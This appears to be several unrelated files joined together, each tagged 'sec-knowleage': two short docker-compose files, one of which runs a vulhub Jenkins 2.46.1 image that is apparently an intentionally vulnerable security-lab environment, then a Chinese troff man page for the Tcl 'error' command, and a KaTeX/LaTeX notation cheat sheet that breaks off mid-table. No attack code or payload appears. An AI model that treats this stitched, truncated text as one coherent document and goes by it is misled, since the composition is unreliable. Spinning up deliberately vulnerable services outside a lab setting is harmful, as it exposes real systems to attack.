version: '2' services: rmi: build: . ports: - "1099:1099" - "64000:64000" environment: - RMIIP=127.0.0.1
sec-knowleage
version: '2.2' services: jenkins: image: vulhub/jenkins:2.46.1 init: true ports: - "50000:50000" - "8080:8080"
sec-knowleage
'\" '\" Copyright (c) 1993 The Regents of the University of California. '\" Copyright (c) 1994-1996 Sun Microsystems, Inc. '\" '\" See the file "license.terms" for information on usage and redistribution '\" of this file, and for a DISCLAIMER OF ALL WARRANTIES. '\" '\" RCS: @(#) $Id: error.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $ '\" '\" The definitions below are for supplemental macros used in Tcl/Tk '\" manual entries. '\" '\" .AP type name in/out ?indent? '\" Start paragraph describing an argument to a library procedure. '\" type is type of argument (int, etc.), in/out is either "in", "out", '\" or "in/out" to describe whether procedure reads or modifies arg, '\" and indent is equivalent to second arg of .IP (shouldn't ever be '\" needed; use .AS below instead) '\" '\" .AS ?type? ?name? '\" Give maximum sizes of arguments for setting tab stops. Type and '\" name are examples of largest possible arguments that will be passed '\" to .AP later. If args are omitted, default tab stops are used. '\" '\" .BS '\" Start box enclosure. From here until next .BE, everything will be '\" enclosed in one large box. '\" '\" .BE '\" End of box enclosure. '\" '\" .CS '\" Begin code excerpt. '\" '\" .CE '\" End code excerpt. '\" '\" .VS ?version? ?br? '\" Begin vertical sidebar, for use in marking newly-changed parts '\" of man pages. The first argument is ignored and used for recording '\" the version when the .VS was added, so that the sidebars can be '\" found and removed when they reach a certain age. If another argument '\" is present, then a line break is forced before starting the sidebar. '\" '\" .VE '\" End of vertical sidebar. '\" '\" .DS '\" Begin an indented unfilled display. '\" '\" .DE '\" End of indented unfilled display. '\" '\" .SO '\" Start of list of standard options for a Tk widget. The '\" options follow on successive lines, in four columns separated '\" by tabs. '\" '\" .SE '\" End of list of standard options for a Tk widget. '\" '\" .OP cmdName dbName dbClass '\" Start of description of a specific option. cmdName gives the '\" option's name as specified in the class command, dbName gives '\" the option's name in the option database, and dbClass gives '\" the option's class in the option database. '\" '\" .UL arg1 arg2 '\" Print arg1 underlined, then print arg2 normally. '\" '\" RCS: @(#) $Id: error.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $ '\" '\" # Set up traps and other miscellaneous stuff for Tcl/Tk man pages. .if t .wh -1.3i ^B .nr ^l \n(.l .ad b '\" # Start an argument description .de AP .ie !"\\$4"" .TP \\$4 .el \{\ . ie !"\\$2"" .TP \\n()Cu . el .TP 15 .\} .ta \\n()Au \\n()Bu .ie !"\\$3"" \{\ \&\\$1 \\fI\\$2\\fP (\\$3) .\".b .\} .el \{\ .br .ie !"\\$2"" \{\ \&\\$1 \\fI\\$2\\fP .\} .el \{\ \&\\fI\\$1\\fP .\} .\} .. '\" # define tabbing values for .AP .de AS .nr )A 10n .if !"\\$1"" .nr )A \\w'\\$1'u+3n .nr )B \\n()Au+15n .\" .if !"\\$2"" .nr )B \\w'\\$2'u+\\n()Au+3n .nr )C \\n()Bu+\\w'(in/out)'u+2n .. .AS Tcl_Interp Tcl_CreateInterp in/out '\" # BS - start boxed text '\" # ^y = starting y location '\" # ^b = 1 .de BS .br .mk ^y .nr ^b 1u .if n .nf .if n .ti 0 .if n \l'\\n(.lu\(ul' .if n .fi .. '\" # BE - end boxed text (draw box now) .de BE .nf .ti 0 .mk ^t .ie n \l'\\n(^lu\(ul' .el \{\ .\" Draw four-sided box normally, but don't draw top of .\" box if the box started on an earlier page. .ie !\\n(^b-1 \{\ \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul' .\} .el \}\ \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul' .\} .\} .fi .br .nr ^b 0 .. '\" # VS - start vertical sidebar '\" # ^Y = starting y location '\" # ^v = 1 (for troff; for nroff this doesn't matter) .de VS .if !"\\$2"" .br .mk ^Y .ie n 'mc \s12\(br\s0 .el .nr ^v 1u .. '\" # VE - end of vertical sidebar .de VE .ie n 'mc .el \{\ .ev 2 .nf .ti 0 .mk ^t \h'|\\n(^lu+3n'\L'|\\n(^Yu-1v\(bv'\v'\\n(^tu+1v-\\n(^Yu'\h'-|\\n(^lu+3n' .sp -1 .fi .ev .\} .nr ^v 0 .. '\" # Special macro to handle page bottom: finish off current '\" # box/sidebar if in box/sidebar mode, then invoked standard '\" # page bottom macro. .de ^B .ev 2 'ti 0 'nf .mk ^t .if \\n(^b \{\ .\" Draw three-sided box if this is the box's first page, .\" draw two sides but no top otherwise. .ie !\\n(^b-1 \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c .el \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c .\} .if \\n(^v \{\ .nr ^x \\n(^tu+1v-\\n(^Yu \kx\h'-\\nxu'\h'|\\n(^lu+3n'\ky\L'-\\n(^xu'\v'\\n(^xu'\h'|0u'\c .\} .bp 'fi .ev .if \\n(^b \{\ .mk ^y .nr ^b 2 .\} .if \\n(^v \{\ .mk ^Y .\} .. '\" # DS - begin display .de DS .RS .nf .sp .. '\" # DE - end display .de DE .fi .RE .sp .. '\" # SO - start of list of standard options .de SO .SH "STANDARD OPTIONS" .LP .nf .ta 5.5c 11c .ft B .. '\" # SE - end of list of standard options .de SE .fi .ft R .LP See the \\fBoptions\\fR manual entry for details on the standard options. .. '\" # OP - start of full description for a single option .de OP .LP .nf .ta 4c Command-Line Name: \\fB\\$1\\fR Database Name: \\fB\\$2\\fR Database Class: \\fB\\$3\\fR .fi .IP .. '\" # CS - begin code excerpt .de CS .RS .nf .ta .25i .5i .75i 1i .. '\" # CE - end code excerpt .de CE .fi .RE .. .de UL \\$1\l'|0\(ul'\\$2 .. .TH error 3tcl "" Tcl "Tcl Built-In Commands" .BS '\" Note: do not modify the .SH NAME line immediately below! .SH NAME error \- 产生一个错误 .SH "总览 SYNOPSIS" \fBerror \fImessage\fR ?\fIinfo\fR? ?\fIcode\fR? .BE .SH "描述 DESCRIPTION" .PP 返回一个 TCL_ERROR 代码,这个代码将终止(unwind ? 松开)命令解释。向应用返回\fIMessage\fR ,用来指示出了什么错误的一个字符串 .PP 如果提供了非空的 \fIinfo\fR 参数,它被用于初始化全局变量 \fBerrorInfo\fR。\fBerrorInfo\fR 用于积累关于在发生错误时正在处理什么的一个栈追踪;在嵌套命令终止的同时,Tcl 解释器向 \fBerrorInfo\fR 添加信息。如果存在 \fIinfo\fR 参数,则用它来初始化 \fBerrorInfo\fR 并且 Tcl 解释器不向它添加终止信息的第一个增长。换句话说,包含 \fBerror\fR 命令的命令将不出现在 \fBerrorInfo\fR 中,在它的位置上的将是 \fIinfo\fR。这个特征与 \fBcatch\fR命令联合使用很有用: 如果一个捕捉到的错误不能被正确处理,使用 \fIinfo\fR返回一个栈追踪来反映错误发生的原始点: .CS \fBcatch {...} errMsg set savedInfo $errorInfo \&... error $errMsg $savedInfo\fR .CE .PP 如果存在 \fIcode\fR 参数,则在 \fBerrorCode\fR 全局变量中存储它的值。在可获得错误信息的情况下,要用这个变量来持有一个机器可读的错误描述;参见 \fBtclvars\fR 手册页来得到关于这个变量的正确格式的信息。如果不存在 \fIcode\fR 参数,则 \fBerrorCode\fR 被 Tcl 解释器作为处理命令生成的错误的一部分而自动的重置为“NONE”。 .SH "参见 SEE ALSO" catch(n), tclvars(n) .SH "关键字 KEYWORDS" error, errorCode, errorInfo .SH "[中文版维护人]" .B 寒蝉退士 .SH "[中文版最新更新]" .B 2001/06/21 .SH "《中国 Linux 论坛 man 手册页翻译计划》:" .BI http://cmpp.linuxforum.net
sec-knowleage
--- title: LaTeX date: 2022-12-30 09:51:44 background: bg-[#2a338a] tags: categories: - Programming intro: | This cheat sheet summarizes a reference list of [LaTeX](https://www.latex-project.org/) commonly used display math notation and some application examples of [KaTeX](https://katex.org/). plugins: - katex - copyCode --- Getting Started ---- ### Introduction [LaTeX](https://www.latex-project.org/) A TEX-based typesetting system suitable for producing scientific, mathematical, and physical documents of high print quality. - [LaTeX official website](https://www.latex-project.org/) _(latex-project.org)_ - [KaTeX official website](https://katex.org/) _(katex.org)_ And [KaTeX](https://katex.org/) handles only a smaller subset of LaTeX's mathematical notation for display on the web ### Example ```KaTeX % \f is defined as #1f(#2) using the macro f\relax(x) = \int_{-\infty}^\infty f\hat\xi\,e^{2 \pi i \xi x} \,d\xi ``` --- ```LaTeX % \f is defined as #1f(#2) using the macro f\relax(x) = \int_{-\infty}^\infty f\hat\xi\,e^{2 \pi i \xi x} \,d\xi ``` ### Inline ```markdown Based on KaTeX in one line Example: `KaTeX:\int_0^\infty x^2 dx` ``` Example based on KaTeX showing on one line: `KaTeX:\int_0^\infty x^2 dx` Supported Functions --- ### Accents {.col-span-2 .row-span-2} :- | :- | :- :- | :- | :- `KaTeX:a'` <pur>`a'`</pur> | `KaTeX:\tilde{a}` <pur>`\tilde{a}`</pur> | `KaTeX:\mathring{g}` <pur>`\mathring{g}`</pur> `KaTeX:a''` <pur>`a''`</pur> | `KaTeX:\widetilde{ac}` <pur>`\widetilde{ac}`</pur> | `KaTeX:\overgroup{AB}` <pur>`\overgroup{AB}`</pur> `KaTeX:a^{\prime}` <pur>`a^{\prime}`</pur> | `KaTeX:\utilde{AB}` <pur>`\utilde{AB}`</pur> | `KaTeX:\undergroup{AB}` <pur>`\undergroup{AB}`</pur> `KaTeX:\acute{a}` <pur>`\acute{a}`</pur> | `KaTeX:\vec{F}` <pur>`\vec{F}`</pur> | `KaTeX:\Overrightarrow{AB}` <pur>`\Overrightarrow{AB}`</pur> `KaTeX:\bar{y}` <pur>`\bar{y}`</pur> | `KaTeX:\overleftarrow{AB}` <pur>`\overleftarrow{AB}`</pur> | `KaTeX:\overrightarrow{AB}` <pur>`\overrightarrow{AB}`</pur> `KaTeX:\breve{a}` <pur>`\breve{a}`</pur> | `KaTeX:\underleftarrow{AB}` <pur>`\underleftarrow{AB}`</pur> | `KaTeX:\underrightarrow{AB}` <pur>`\underrightarrow{AB}`</pur> `KaTeX:\check{a}` <pur>`\check{a}`</pur> | `KaTeX:\overleftharpoon{ac}` <pur>`\overleftharpoon{ac}`</pur> | `KaTeX:\overrightharpoon{ac}` <pur>`\overrightharpoon{ac}`</pur> `KaTeX:\dot{a}` <pur>`\dot{a}`</pur> | `KaTeX:\overleftrightarrow{AB}` <pur>`\overleftrightarrow{AB}`</pur> | `KaTeX:\overbrace{AB}` <pur>`\overbrace{AB}`</pur> `KaTeX:\ddot{a}` <pur>`\ddot{a}`</pur> | `KaTeX:\underleftrightarrow{AB}` <pur>`\underleftrightarrow{AB}`</pur> | `KaTeX:\underbrace{AB}` <pur>`\underbrace{AB}`</pur> `KaTeX:\grave{a}` <pur>`\grave{a}`</pur> | `KaTeX:\overline{AB}` <pur>`\overline{AB}`</pur> | `KaTeX:\overlinesegment{AB}` <pur>`\overlinesegment{AB}`</pur> `KaTeX:\hat{\theta}` <pur>`\hat{\theta}`</pur> | `KaTeX:\underline{AB}` <pur>`\underline{AB}`</pur> | `KaTeX:\underlinesegment{AB}` <pur>`\underlinesegment{AB}`</pur> `KaTeX:\widehat{ac}` <pur>`\widehat{ac}`</pur> | `KaTeX:\widecheck{ac}` <pur>`\widecheck{ac}`</pur> | `KaTeX:\underbar{X}` <pur>`\underbar{X}`</pur> ### Emphasis in \text&lcub;...&rcub; :- | :- | :- :- | :- | :- `KaTeX:\'{a}` <pur>`\'{a}`</pur> | `KaTeX:\~{a}` <pur>`\~{a}`</pur> | `KaTeX:\.{a}` <pur>`\.{a}`</pur> | `KaTeX:\H{a}` <pur>`\H{a}`</pur> | ``KaTeX:\\\`{a}`` <pur><code>\\&#96;{a}</code></pur> | `KaTeX:\={a}` <pur>`\={a}`</pur> | `KaTeX:\"{a}` <pur>`\"{a}`</pur> | `KaTeX:\v{a}` <pur>`\v{a}`</pur> | `KaTeX:\^{a}` <pur>`\^{a}`</pur> | `KaTeX:\u{a}` <pur>`\u{a}`</pur> | `KaTeX:\r{a}` <pur>`\r{a}`</pur> | ### Delimiter Sizing :- | :- :- | :- `KaTeX:\left(\LARGE{AB}\right)` | <pur>`\left(\LARGE{AB}\right)`</pur> `KaTeX:( \big( \Big( \bigg( \Bigg(`| <pur>`( \big( \Big( \bigg( \Bigg(`</pur> --- :- | :- | :- | :- | :- :- | :- | :- | :- | :- `\left` | `\big` | `\bigl` | `\bigm` | `\bigr` `\middle` | `\Big` | `\Bigl` | `\Bigm` | `\Bigr` `\right` | `\bigg` | `\biggl` | `\biggm` | `\biggr` `\` | `\Bigg` | `\Biggl` | `\Biggm` | `\Biggr` ### Greek and Hebrew letters {.col-span-3} preview | method | preview | method | preview | method | preview | method | preview | method | preview | method :- | :- | :- | :- | :- | :- | :- | :- | :- | :- | :- | :- | `KaTeX:\alpha` | <pur>`\alpha`</pur> | `KaTeX:\kappa` | <pur>`\kappa`</pur> | `KaTeX:\psi` | <pur>`\psi`</pur> | `KaTeX:\digamma` | <pur>`\digamma`</pur> | `KaTeX:\Delta` | <pur>`\Delta`</pur> | `KaTeX:\Theta` | <pur>`\Theta`</pur> | | `KaTeX:\beta` | <pur>`\beta`</pur> | `KaTeX:\lambda` | <pur>`\lambda`</pur> | `KaTeX:\rho` | <pur>`\rho`</pur> | `KaTeX:\varepsilon` | <pur>`\varepsilon`</pur> | `KaTeX:\Gamma` | <pur>`\Gamma`</pur> | `KaTeX:\Upsilon` | <pur>`\Upsilon`</pur> | | `KaTeX:\chi` | <pur>`\chi`</pur> | `KaTeX:\mu` | <pur>`\mu`</pur> | `KaTeX:\sigma` | <pur>`\sigma`</pur> | `KaTeX:\varkappa` | <pur>`\varkappa`</pur> | `KaTeX:\Lambda` | <pur>`\Lambda`</pur> | `KaTeX:\Xi` | <pur>`\Xi`</pur> | | `KaTeX:\delta` | <pur>`\delta`</pur> | `KaTeX:\nu` | <pur>`\nu`</pur> | `KaTeX:\tau` | <pur>`\tau`</pur> | `KaTeX:\varphi` | <pur>`\varphi`</pur> | `KaTeX:\Omega` | <pur>`\Omega`</pur> | | | `KaTeX:\epsilon` | <pur>`\epsilon`</pur> | `KaTeX:o` | <pur>`o`</pur> | `KaTeX:\theta` | <pur>`\theta`</pur> | `KaTeX:\varpi` | <pur>`\varpi`</pur> | `KaTeX:\Phi` | <pur>`\Phi`</pur> | `KaTeX:\aleph` | <pur>`\aleph`</pur> | | `KaTeX:\eta` | <pur>`\eta`</pur> | `KaTeX:\omega` | <pur>`\omega`</pur> | `KaTeX:\upsilon` | <pur>`\upsilon`</pur> | `KaTeX:\varrho` | <pur>`\varrho`</pur> | `KaTeX:\Pi` | <pur>`\Pi`</pur> | `KaTeX:\beth` | <pur>`\beth`</pur> | | `KaTeX:\gamma` | <pur>`\gamma`</pur> | `KaTeX:\phi` | <pur>`\phi`</pur> | `KaTeX:\xi` | <pur>`\xi`</pur> | `KaTeX:\varsigma` | <pur>`\varsigma`</pur> | `KaTeX:\Psi` | <pur>`\Psi`</pur> | `KaTeX:\daleth` | <pur>`\daleth`</pur> | | `KaTeX:\iota` | <pur>`\iota`</pur> | `KaTeX:\pi` | <pur>`\pi`</pur> | `KaTeX:\zeta` | <pur>`\zeta`</pur> | `KaTeX:\vartheta` | <pur>`\vartheta`</pur> | `KaTeX:\Sigma` | <pur>`\Sigma`</pur> | `KaTeX:\gimel` | <pur>`\gimel`</pur> | {.left-align} #### Other letters :- | :- | :- | :- | :- | :- | :- | :- | :- | :- :- | :- | :- | :- | :- | :- | :- | :- | :- | :- `KaTeX:\imath` | <pur>`\imath`</pur> | `KaTeX:\nabla` | <pur>`\nabla`</pur> | `KaTeX:\Im` | <pur>`\Im`</pur> | `KaTeX:\Reals` | <pur>`\Reals`</pur> | `KaTeX:\text{\OE}` | <pur>`\text{\OE}`</pur> | `KaTeX:\jmath` | <pur>`\jmath`</pur> | `KaTeX:\partial` | <pur>`\partial`</pur> | `KaTeX:\image` | <pur>`\image`</pur> | `KaTeX:\wp` | <pur>`\wp`</pur> | `KaTeX:\text{\o}` | <pur>`\text{\o}`</pur> | `KaTeX:\aleph` | <pur>`\aleph`</pur> | `KaTeX:\Game` | <pur>`\Game`</pur> | `KaTeX:\Bbbk` | <pur>`\Bbbk`</pur> | `KaTeX:\weierp` | <pur>`\weierp`</pur> | `KaTeX:\text{\O}` | <pur>`\text{\O}`</pur> | `KaTeX:\alef` | <pur>`\alef`</pur> | `KaTeX:\Finv` | <pur>`\Finv`</pur> | `KaTeX:\N` | <pur>`\N`</pur> | `KaTeX:\Z` | <pur>`\Z`</pur> | `KaTeX:\text{\ss}` | <pur>`\text{\ss}`</pur> | `KaTeX:\alefsym` | <pur>`\alefsym`</pur> | `KaTeX:\cnums` | <pur>`\cnums`</pur> | `KaTeX:\natnums` | <pur>`\natnums`</pur> | `KaTeX:\text{\aa}` | <pur>`\text{\aa}`</pur> | `KaTeX:\text{\i}` | <pur>`\text{\i}`</pur> | `KaTeX:\beth` | <pur>`\beth`</pur> | `KaTeX:\Complex` | <pur>`\Complex`</pur> | `KaTeX:\R` | <pur>`\R`</pur> | `KaTeX:\text{\AA}` | <pur>`\text{\AA}`</pur> | `KaTeX:\text{\j}` | <pur>`\text{\j}`</pur> | `KaTeX:\gimel` | <pur>`\gimel`</pur> | `KaTeX:\ell` | <pur>`\ell`</pur> | `KaTeX:\Re` | <pur>`\Re`</pur> | `KaTeX:\text{\ae}` | <pur>`\text{\ae}`</pur> | `KaTeX:\daleth` | <pur>`\daleth`</pur> | `KaTeX:\hbar` | <pur>`\hbar`</pur> | `KaTeX:\real` | <pur>`\real`</pur> | `KaTeX:\text{\AE}` | <pur>`\text{\AE}`</pur> | `KaTeX:\eth` | <pur>`\eth`</pur> | `KaTeX:\hslash` | <pur>`\hslash`</pur> | `KaTeX:\reals` | <pur>`\reals`</pur> | `KaTeX:\text{\oe}` | <pur>`\text{\oe}`</pur> | {.left-align} ### Alphabets and Unicode {.col-span-3} preview | method | preview | method | preview | method | preview | method :- | :- | :- | :- | :- | :- | :- | :- `KaTeX:\Alpha` | <pur>`\Alpha`</pur> | `KaTeX:\Beta` | <pur>`\Beta`</pur> | `KaTeX:\Gamma` | <pur>`\Gamma`</pur> | `KaTeX:\Delta` | <pur>`\Delta`</pur> `KaTeX:\Epsilon` | <pur>`\Epsilon`</pur> | `KaTeX:\Zeta` | <pur>`\Zeta`</pur> | `KaTeX:\Eta` | <pur>`\Eta`</pur> | `KaTeX:\Theta` | <pur>`\Theta`</pur> `KaTeX:\Iota` | <pur>`\Iota`</pur> | `KaTeX:\Kappa` | <pur>`\Kappa`</pur> | `KaTeX:\Lambda` | <pur>`\Lambda`</pur> | `KaTeX:\Mu` | <pur>`\Mu`</pur> `KaTeX:\Nu` | <pur>`\Nu`</pur> | `KaTeX:\Xi` | <pur>`\Xi`</pur> | `KaTeX:\Omicron` | <pur>`\Omicron`</pur> | `KaTeX:\Pi` | <pur>`\Pi`</pur> `KaTeX:\Rho` | <pur>`\Rho`</pur> | `KaTeX:\Sigma` | <pur>`\Sigma`</pur> | `KaTeX:\Tau` | <pur>`\Tau`</pur> | `KaTeX:\Upsilon` | <pur>`\Upsilon`</pur> `KaTeX:\Phi` | <pur>`\Phi`</pur> | `KaTeX:\Chi` | <pur>`\Chi`</pur> | `KaTeX:\Psi` | <pur>`\Psi`</pur> | `KaTeX:\Omega` | <pur>`\Omega`</pur> `KaTeX:\varGamma` | <pur>`\varGamma`</pur> | `KaTeX:\varDelta` | <pur>`\varDelta`</pur> | `KaTeX:\varTheta` | <pur>`\varTheta`</pur> | `KaTeX:\varLambda` | <pur>`\varLambda`</pur> `KaTeX:\varXi` | <pur>`\varXi`</pur> | `KaTeX:\varPi` | <pur>`\varPi`</pur> | `KaTeX:\varSigma` | <pur>`\varSigma`</pur> | `KaTeX:\varUpsilon` | <pur>`\varUpsilon`</pur> `KaTeX:\varPhi` | <pur>`\varPhi`</pur> | `KaTeX:\varPsi` | <pur>`\varPsi`</pur> | `KaTeX:\varOmega` | <pur>`\varOmega`</pur> | `KaTeX:\alpha` | <pur>`\alpha`</pur> | `KaTeX:\beta` | <pur>`\beta`</pur> | `KaTeX:\gamma` | <pur>`\gamma`</pur> | `KaTeX:\delta` | <pur>`\delta`</pur> `KaTeX:\epsilon` | <pur>`\epsilon`</pur> | `KaTeX:\zeta` | <pur>`\zeta`</pur> | `KaTeX:\eta` | <pur>`\eta`</pur> | `KaTeX:\theta` | <pur>`\theta`</pur> `KaTeX:\iota` | <pur>`\iota`</pur> | `KaTeX:\kappa` | <pur>`\kappa`</pur> | `KaTeX:\lambda` | <pur>`\lambda`</pur> | `KaTeX:\mu` | <pur>`\mu`</pur> `KaTeX:\nu` | <pur>`\nu`</pur> | `KaTeX:\xi` | <pur>`\xi`</pur> | `KaTeX:\omicron` | <pur>`\omicron`</pur> | `KaTeX:\pi` | <pur>`\pi`</pur> `KaTeX:\rho` | <pur>`\rho`</pur> | `KaTeX:\sigma` | <pur>`\sigma`</pur> | `KaTeX:\tau` | <pur>`\tau`</pur> | `KaTeX:\upsilon` | <pur>`\upsilon`</pur> `KaTeX:\phi` | <pur>`\phi`</pur> | `KaTeX:\chi` | <pur>`\chi`</pur> | `KaTeX:\psi` | <pur>`\psi`</pur> | `KaTeX:\omega` | <pur>`\omega`</pur> `KaTeX:\varepsilon` | <pur>`\varepsilon`</pur> | `KaTeX:\varkappa` | <pur>`\varkappa`</pur> | `KaTeX:\vartheta` | <pur>`\vartheta`</pur> | `KaTeX:\thetasym` | <pur>`\thetasym`</pur> `KaTeX:\varpi` | <pur>`\varpi`</pur> | `KaTeX:\varrho` | <pur>`\varrho`</pur> | `KaTeX:\varsigma` | <pur>`\varsigma`</pur> | `KaTeX:\varphi` | <pur>`\varphi`</pur> `KaTeX:\digamma` | <pur>`\digamma`</pur> {.show-header left-align} ### Annotation {.col-span-3} :- | :- | :- | :- | :- :- | :- | :- | :- | :- `KaTeX:\cancel{5}` | <pur>`\cancel{5}`</pur> | `KaTeX:\overbrace{a+b+c}^{\text{note}}` | <pur>`\overbrace{a+b+c}^{\text{note}}`</pur> `KaTeX:\bcancel{5}` | <pur>`\bcancel{5}`</pur> | `KaTeX:\underbrace{a+b+c}_{\text{note}}` | <pur>`\underbrace{a+b+c}_{\text{note}}`</pur> `KaTeX:\xcancel{ABC}` | <pur>`\xcancel{ABC}`</pur> | `KaTeX:\not =` | <pur>`\not =`</pur> `KaTeX:\sout{abc}` | <pur>`\sout{abc}`</pur> | `KaTeX:\boxed{\pi=\frac c d}` | <pur>`\boxed{\pi=\frac c d}`</pur> `KaTeX:\$a_{\angl n}` _<red>MD syntax conflict</red>_ | <pur>`$a_{\angl n}`</pur> | `KaTeX:a_\angln` | <pur>`a_\angln`</pur> `KaTeX:\phase{-78^\circ}` | <pur>`\phase{-78^\circ}`</pur> <pur>\tag{hi} x+y^{2x}</pur> ```KaTex \tag{hi} x+y^{2x} ``` <pur>\tag*{hi} x+y^{2x}</pur> ```KaTex \tag*{hi} x+y^{2x} ``` ### Vertical layout{.col-span-3} :- | :- | :- | :- | :- | :- :- | :- | :- | :- | :- | :- `KaTeX:x_n` | <pur>`x_n`</pur> | `KaTeX:\stackrel{!}{=}` | <pur>`\stackrel{!}{=}`</pur> | `KaTeX:a \atop b` | `a \atop b` `KaTeX:e^x` | <pur>`e^x`</pur> | `KaTeX:\overset{!}{=}` | <pur>`\overset{!}{=}`</pur> | `KaTeX:a\raisebox{0.25em}{$b$}c` | `a\raisebox{0.25em}{$b$}c` `KaTeX:_u^o` | <pur>`_u^o`</pur> | `KaTeX:\underset{!}{=}` | <pur>`\underset{!}{=}`</pur> | `KaTeX:a+\left(\vcenter{\hbox{$\frac{\frac a b}c$}}\right)` | `a+\left(\vcenter{\hbox{$\frac{\frac a b}c$}}\right)` `KaTeX:\sum_{\substack{0<i<m\\0<j<n}}` | <pur>`\sum_{\substack{0<i<m\\0<j<n}}`</pur> ### Overlap and Spacing {.col-span-3} :- | :- | :- | :- :- | :- | :- | :- `KaTeX:{=}\mathllap{/\,}` <pur>{=}\mathllap{/\,}</pur> | `KaTeX:\left(x^{\smash{2}}\right)` | <pur>\left(x^{\smash{2}}\right)</pur> `KaTeX:\mathrlap{\,/}{=}` <pur>\mathrlap{\,/}{=}</pur> | `KaTeX:\sqrt{\smash[b]{y}}` | <pur>\sqrt{\smash[b]{y}}</pur> `\sum_{\mathclap{1\le i\le j\le n}} x_{ij}` ```KaTex \sum_{\mathclap{1\le i\le j\le n}} x_{ij} ``` ### `KaTeX:\LaTeX` math constructs {.col-span-3} 预览 | 方法 | 预览 | 方法 | 预览 | 方法 :- | :- | :- | :- | :- | :- | `KaTeX:\frac{abc}{xyz}` | <pur>`\frac{abc}{xyz}`</pur> | `KaTeX:\overline{abc}` | <pur>`\overline{abc}`</pur> | `KaTeX:\overrightarrow{abc}` | <pur>`\overrightarrow{abc}`</pur> | | `KaTeX:f'` | <pur>`f'`</pur> | `KaTeX:\underline{abc}` | <pur>`\underline{abc}`</pur> | `KaTeX:\overleftarrow{abc}` | <pur>`\overleftarrow{abc}`</pur> | | `KaTeX:\sqrt{abc}` | <pur>`\sqrt{abc}`</pur> | `KaTeX:\widehat{abc}` | <pur>`\widehat{abc}`</pur> | `KaTeX:\overbrace{abc}` | <pur>`\overbrace{abc}`</pur> | | `KaTeX:\sqrt[n]{abc}` | <pur>`\sqrt[n]{abc}`</pur> | `KaTeX:\widetilde{abc}` | <pur>`\widetilde{abc}`</pur> | `KaTeX:\underbrace{abc}` | <pur>`\underbrace{abc}`</pur> | ### Delimiters {.col-span-3} preview | method | preview | method | preview | method | preview | method | preview | method :- | :- | :- | :- | :- | :- | :- | :- | :- | :- | `KaTeX:()` | <pur>`()`</pur> | `KaTeX:\lparen \rparen` | <pur>`\lparen` `\rparen`</pur> | `KaTeX:⌈ ⌉` | <pur>`⌈ ⌉`</pur> | `KaTeX:\lceil \rceil` | <pur>`\lceil` `\rceil`</pur> | `KaTeX:\uparrow` | <pur>`\uparrow`</pur> | | `KaTeX:[]` | <pur>`[]`</pur> | `KaTeX:\lbrack \rbrack` | <pur>`\lbrack` `\rbrack`</pur> | `KaTeX:⌊ ⌋` | <pur>`⌊ ⌋`</pur> | `KaTeX:\lfloor \rfloor` | <pur>`\lfloor` `\rfloor`</pur> | `KaTeX:\downarrow` | <pur>`\downarrow`</pur> | | `KaTeX:\{ \}` | <pur>`{}`</pur> | `KaTeX:\lbrace \rbrace` | <pur>`\lbrace` `\rbrace`</pur> | `KaTeX:⎰⎱` | <pur>`⎰⎱`</pur> | `KaTeX:\lmoustache \rmoustache` | <pur>`\lmoustache` `\rmoustache`</pur> | `KaTeX:\updownarrow` | <pur>`\updownarrow`</pur> | | `KaTeX:⟨ ⟩` | <pur>`⟨⟩`</pur> | `KaTeX:\langle \rangle` | <pur>`\langle` `\rangle`</pur> | `KaTeX:⟮ ⟯` | <pur>`⟮ ⟯`</pur> | `KaTeX:\lgroup \rgroup` | <pur>`\lgroup` `\rgroup`</pur> | `KaTeX:\Uparrow` | <pur>`\Uparrow`</pur> | | `KaTeX:∣` | <pur>`\|`</pur> | `KaTeX:\vert` | <pur>`\vert`</pur> | `KaTeX:┌ ┐` | <pur>`┌ ┐`</pur> | `KaTeX:\ulcorner \urcorner` | <pur>`\ulcorner` `\urcorner`</pur> | `KaTeX:\Downarrow` | <pur>`\Downarrow`</pur> | | `KaTeX:\|` _(<red>MD syntax conflict</red>)_ | <pur><code>\\&#124;</code></pur> | `KaTeX:\Vert` | <pur>`\Vert`</pur> | `KaTeX:└ ┘` | <pur>`└ ┘`</pur> | `KaTeX:\llcorner \lrcorner` | <pur>`\llcorner` `\lrcorner`</pur> | `KaTeX:\Updownarrow` | <pur>`\Updownarrow`</pur> | | `KaTeX:∣ ∣` | <pur>`\lvert` `\rvert`</pur> | `KaTeX:\lVert \rVert` | <pur>`\lVert` `\rVert`</pur> | | <pur>`\left.`</pur> | | <pur>`\right.`</pur> | `KaTeX:\backslash` | <pur>`\backslash`</pur> | | `KaTeX:\lang` `KaTeX:\rang` | <pur>`\lang` `\rang`<pur> | `KaTeX:\lt \gt` | <pur>`\lt \gt`</pur> | `KaTeX:⟦ ⟧` | <pur>`⟦ ⟧`</pur> | `KaTeX:\llbracket \rrbracket` | <pur>`\llbracket` `\rrbracket`</pur> | `KaTeX:\lBrace \rBrace` | <pur>`\lBrace \rBrace`</pur> | {.show-header left-align} The pair of expressions `\left` `KaTeX:s_1` and `\right` `KaTeX:s_2` can be used to match the height of the separators `KaTeX:s_1` and `KaTeX:s_2` to the height of their content, e.g. : :- | :- | :- | :- | :- | :- | :- | :- | :- | :- | :- :- | :- | :- | :- | :- | :- | :- | :- | :- | :- | :- | `KaTeX:\left\|` | `KaTeX:expr` | `KaTeX:\right\|` | | `KaTeX:\left\{` |`KaTeX:expr` | `KaTeX:\right\}` | | `KaTeX:\left\Vert`| `KaTeX:expr` | `KaTeX:\right.` | ### Variable Size Symbols {.col-span-3} preview | method | preview | method | preview | method | preview | method | preview | method :- | :- | :- | :- | :- | :- | :- | :- | :- | :- | `KaTeX:\sum` | <pur>`\sum`</pur> | `KaTeX:\int` | <pur>`\int`</pur> | `KaTeX:\biguplus` | <pur>`\biguplus`</pur> | `KaTeX:\bigoplus` | <pur>`\bigoplus`</pur> | `KaTeX:\bigvee` | <pur>`\bigvee`</pur> | | `KaTeX:\prod` | <pur>`\prod`</pur> | `KaTeX:\oint` | 